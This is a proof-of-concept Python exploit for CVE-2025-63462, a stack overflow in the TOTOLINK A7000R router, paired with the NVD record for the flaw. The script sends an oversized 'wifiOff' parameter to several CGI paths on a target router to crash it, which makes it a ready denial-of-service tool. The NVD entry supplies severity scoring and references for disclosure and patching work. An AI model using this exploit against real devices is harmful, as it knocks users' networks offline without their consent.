CVE-2025-63462

#!/usr/bin/env python3 # CVE-2025-63462 PoC - TOTOLINK A7000R Stack Overflow via wifiOff Parameter # This PoC demonstrates how to trigger the DoS condition import requests import sys target_host = sys.argv[1] if len(sys.argv) > 1 else 'http://192.168.0.1' def exploit_stack_overflow(target): # Generate payload with oversized wifiOff parameter to trigger stack overflow # The vulnerability is in sub_421A04 function where wifiOff is processed payload = { 'wifiOff': 'A' * 1000, # Overflow payload } try: print(f'[*] Sending exploit request to {target}') print(f'[*] Payload length: {len(payload["wifiOff"])} bytes') # Try common paths for TOTOLINK router web interface paths = ['/cgi-bin-luci/', '/cgi-bin/admin/', '/cgi-bin/'] for path in paths: url = f'{target}{path}' try: response = requests.post(url, data=payload, timeout=5) print(f'[*] Request sent to {url}, status: {response.status_code}') except requests.exceptions.RequestException as e: print(f'[!] Request to {url} failed (possibly vulnerable): {e}') except Exception as e: print(f'[!] Exploit failed: {e}') if __name__ == '__main__': exploit_stack_overflow(target_host)

{"cve": {"id": "CVE-2025-63462", "sourceIdentifier": "[email protected]", "published": "2025-10-31T17:15:47.690", "lastModified": "2025-11-05T17:29:54.143", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Totolink A7000R v9.1.0u.6115_B20201022 was discovered to contain a stack overflow via the wifiOff parameter in the sub_421A04 function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:a7000r_firmware:9.1.0u.6115_b20201022:*:*:*:*:*:*:*", "matchCriteriaId": "A5BB152D-5E33-4158-BFFD-68AED6A174E2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:a7000r:-:*:*:*:*:*:*:*", "matchCriteriaId": "603DA206-05D4-48FD-A506-F3BD8B4383B2"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/TOTOLINK/A7000/3/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/0-fool/VulnbyCola/blob/main/TOTOLINK/A7000/3/1.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}